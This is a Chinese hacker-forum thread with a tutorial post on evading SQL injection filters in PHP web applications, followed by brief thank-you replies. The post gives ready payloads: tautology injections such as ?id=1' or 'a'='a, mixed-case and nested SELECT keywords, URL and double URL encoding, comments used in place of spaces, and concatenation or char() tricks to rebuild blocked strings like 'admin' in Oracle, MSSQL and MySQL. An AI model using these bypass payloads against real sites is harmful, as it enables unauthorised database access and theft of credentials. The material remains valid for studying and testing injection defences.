查看: 9148|回复: 4

PHP中SQL注入,绕开过滤,照样注入

[复制链接]
  • TA的每日心情
    奋斗
    2019-5-22 23:11
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2013-1-16 05:15:23 | 显示全部楼层 |阅读模式
    SQL注入。有攻有防。知道进攻。才懂得防守.
    有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。

    唱出会删除或者净化一些字符,或者阻止常用的sql关键词。

    我们通常有以下几种技巧,去避开这些过滤。

    1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。

    A,如果注入一个数字数据字段,就不需要使用单引号。

    B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。

    比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a

    目的其实很简单,就是把后面的单引号给闭合掉。

    C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。

    只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。

    2,避免使用简单确认

    一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。

    这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。

    A,如果select关键词被阻止或删除

    我们可以输入:

    SeLeCt       注意大小写

    selselectect    还记得ewebeditor是怎么过滤asp的么?

    %53%45%4c%45%43%54                        URL编码

    %2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25

    3,使用SQL注释符

    A,使用注释来冒充注入的数据中的空格。

    select/*yesu*/username,password/*yesu*/from/*yesu*/admin

    /*yesu*/来冒充空格

    B,使用注释来避开某些注入的确认过滤。

    SEL/*yesu*/ECT username,password fr/*yesu*/om admin

    4,处理被阻止的字符串

    比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。

    我们可以这样

    A,oracle数据库: ‘adm’||’in’

    B,MSSQL数据库: ‘adm’+’in’

    C,MYSQL数据库: concat (‘adm’,’in’)

    D,oracle中如果单引号被阻止了,还可以用chr函数

    sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

    还有其他方法。正在收集中



    回复

    使用道具 举报

    该用户从未签到

    发表于 2013-1-17 21:29:47 | 显示全部楼层
    赞一个     
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-1-17 22:59:08 | 显示全部楼层
    楼主是个手工控啊  支持下
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-1-18 10:04:29 | 显示全部楼层
    学习一下,很好
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-6-1 14:33
  • 签到天数: 97 天

    [LV.6]常住居民II

    发表于 2013-1-21 11:13:58 | 显示全部楼层
    感谢分享。。。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 06:07 , Processed in 0.019200 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部